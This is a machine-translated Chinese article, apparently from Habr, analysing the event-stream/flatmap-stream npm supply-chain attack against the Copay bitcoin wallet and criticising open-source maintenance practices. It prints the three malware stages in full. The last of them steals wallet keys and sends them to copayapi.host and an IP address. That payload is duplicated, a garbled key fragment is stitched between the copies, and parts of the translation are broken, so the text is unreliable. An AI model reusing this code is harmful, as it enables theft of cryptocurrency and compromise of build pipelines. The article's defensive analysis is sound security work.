骇人听闻的轻松破解现代软件开发基础架构的故事

10月底,非常受欢迎的nodemon Node.js工具中出现了问题消息。 事实是,控制台中显示了以下警告: DeprecationWarning: crypto.createDecipher is deprecated 。 关于过时功能的此类警报并不少见。 特别是,此消息看起来非常无害。 它甚至不涉及nodemon项目本身,而是涉及其依赖项之一。 这个琐事很容易被任何人忽略,因为在许多情况下,这些问题是自己解决的。

图片

第一次提到此问题大约两周后, 艾尔顿·斯伯林Ayrton Sparling)检查了所有内容,发现发出警告的原因是相当深的新瘾 。 该消息来自缩小的JavaScript文件末尾的一段奇怪的代码,该文件不在库的早期版本中,并且已从该库的更高版本中删除。 Ayrton的研究使他找到了流行的事件流npm程序包,该程序包每周下载约200万次,直到最近才由具有良好声誉的开源开发人员控制。

几个月前,事件流管理已转移给另一个人,一个鲜为人知的用户,他通过电子邮件请求授予他发布程序包的权利。 这是合法完成的。 然后,该用户更新了事件流软件包,包括其补丁程序版本中的flatmap-stream恶意软件依赖关系,然后,他发布了没有此依赖关系的软件包的新主版本。 因此,他希望使更改不那么明显。 可能更可能对依赖项感兴趣的新用户将安装最新版本的事件流(在撰写本文时为4.x)。 并且其项目依赖于软件包的先前版本的用户在下次运行npm install命令时会自动安装受感染的补丁程序版本(这考虑了配置适合更新的软件包版本的常用方法)。

事故详情


恶意的flatmap-stream代码被配置为与数据文件一起使用,该数据文件除了非常容易被混淆的某些行外,还包含两个加密的片段,这些片段只能通过知道密码来解密。

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

将此代码片段Payload A 它在npm设置的npm_package_description环境变量中寻找密码。 此环境变量包含对根软件包的描述,该描述允许恶意代码仅影响特定的目标软件包。 聪明的举动! 在这种情况下,此软件包是Copay比特币钱包的客户端应用程序,用于解密恶意代码的密码是短语“安全比特币钱包” (由gathub用户maths22揭示 )。

Payload A代码成功解密了第一段数据后,我们称为Payload B的代码Payload B执行。

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

这段代码检查了脚本是否将仅与特定的命令行参数一起运行,并且与build:*-release相匹配build:*-release模式。 例如,它看起来像npm run build:ios-release 。 否则,脚本不会执行。 这样,代码执行仅限于三个脚本以构建Copay中使用的项目。 即,我们正在讨论负责构建应用程序桌面版本及其iOS和Android版本的脚本。

然后,脚本查找了另一个应用程序依赖项,即他对@ zxing / library包中的ReedSolomonDecoder.js文件感兴趣。 Payload B代码未运行此文件。 他只是向其中注入了Payload C代码,这导致ReedSolomonDecoder加载ReedSolomonDecoder时,该代码将在应用程序本身中执行。 这是Payload C代码。

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \ n2wIDAQAB \ n ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

Payload APayload B代码旨在在项目的构建服务器上的Node.js环境中运行,而Payload C旨在在Cordova框架(以前称为PhoneGap )的控制下,在类似于浏览器的环境中运行。 该框架使您可以使用Web技术(HTML,CSS和JavaScript)为各种平台开发本机应用程序。 使用Cordova构建针对各种平台设计的Copay客户端应用程序(以及该项目的分支,如FCash )。 攻击针对的是这些客户。 这些本地应用程序适用于使用Copay最终用户管理其比特币钱包的Copay最终用户。 这些钱包是攻击者感兴趣的。 该脚本将窃取的数据发送至copayapi.host并发送至111.90.151.134。

令人失望的结论


开发我们刚刚谈论的内容是一项艰巨的任务。 此hack需要认真研究并付出大量努力才能进行攻击。 如果攻击者无法控制事件流包,则攻击者还可能会使用备用选项。 考虑到攻击的组织方式,似乎攻击者最初专门针对Copay似乎是有道理的,而不仅仅是获得了流行图书馆的控制权,然后他在考虑应该如何处理。 事件流的流行表明,攻击者可以轻松地访问全球数百家公司中的重要计算机。 幸运的是,考虑到威胁可能会被忽略多久,该威胁很快就被发现并消除了,但是考虑是什么导致我们得出明显的结论:开源病得很重。

让我们列出导致上述事件的原因:

  1. 应用程序(Copay)是基于许多不同的依赖关系而构建的,而其依赖关系树并未被阻止。
  2. 即使考虑到没有阻止依赖项树,也没有缓存依赖项,它们是在项目的每个版本中从存储库加载的。
  3. 数千个其他项目依赖于事件流,它们使用相同或相似的配置。
  4. 支持该库(该数据库有成千上万个项目所依赖)的人停止了对该库的工作。
  5. 成千上万的项目免费使用了此库。 同时,预计他们将在没有任何物质补偿的情况下支持她。
  6. 支持图书馆的人将对图书馆的控制权移交给了未知者,因为他向他询问了有关它的知识。
  7. 没有任何通知表明该项目已更改其所有者,所有相同的数千个项目仅继续使用适当的软件包。
  8. 实际上,这个清单一直在不断……

甚至没有想到我们所讨论的入侵可能造成什么危害。 例如,极其严重的项目取决于事件流。 例如, Microsoft Azure CLI 。 他们在其上开发该程序的计算机以及在其上使用该程序的计算机都是脆弱的。 恶意代码很可能同时出现在这些代码和其他代码上。

这里的问题是,许多软件项目都是根据人们期望免费使用的软件构建的。 他们创建了有用的程序,他们参与了一段时间(或者也许只是将它们制作在公共领域,仅此而已),并且期望它们能够支持其开发直到最后。 如果他们没有成功,那么他们要么什么都不做,要么不理calls他们的电话,要么不报告他们项目中的漏洞( 有罪! ),或者干脆把他们的项目交给其他人,希望他们可以离开并且不再参与其中。 有时可以。 有时不是。 但是,没有任何理由可以证明由于这种现象而出现在软件中的漏洞。 顺便说一下,甚至事件流问题的发现,调查和消除,也主要是由开源志愿者完成的,他们的工作没有任何形式的报酬。

如此众多的人和组织与所发生的事情有关,因此寻找特定罪魁祸首没有多大意义。 开源病很重,这种现象越大,发生灾难的可能性就越高。 考虑到此处讨论的事件的潜在破坏性,很幸运的是,攻击者的目标只是一个应用程序。

类似的问题不仅限于Node.js或npm。 在相关的生态系统中,对陌生人的信任程度同样不适当。 这与Python环境,RubyGems和GitHub中的PyPi有关。 任何人都可以发布上述服务,而无需任何通知即可将其项目管理转移给任何人。 即使没有它,现代项目也会使用大量其他人的代码,因此对其进行彻底的分析将在很长一段时间内停止任何团队的工作。 为了按时完成任务,开发人员确定了他们需要的东西,而负责安全性和自动代码验证工具的团队根本无法跟上不断变化的程序的快速开发步伐。

亲爱的读者们! 您对最近的事件流事件有何看法?



Source: https://habr.com/ru/post/zh-CN434116/


All Articles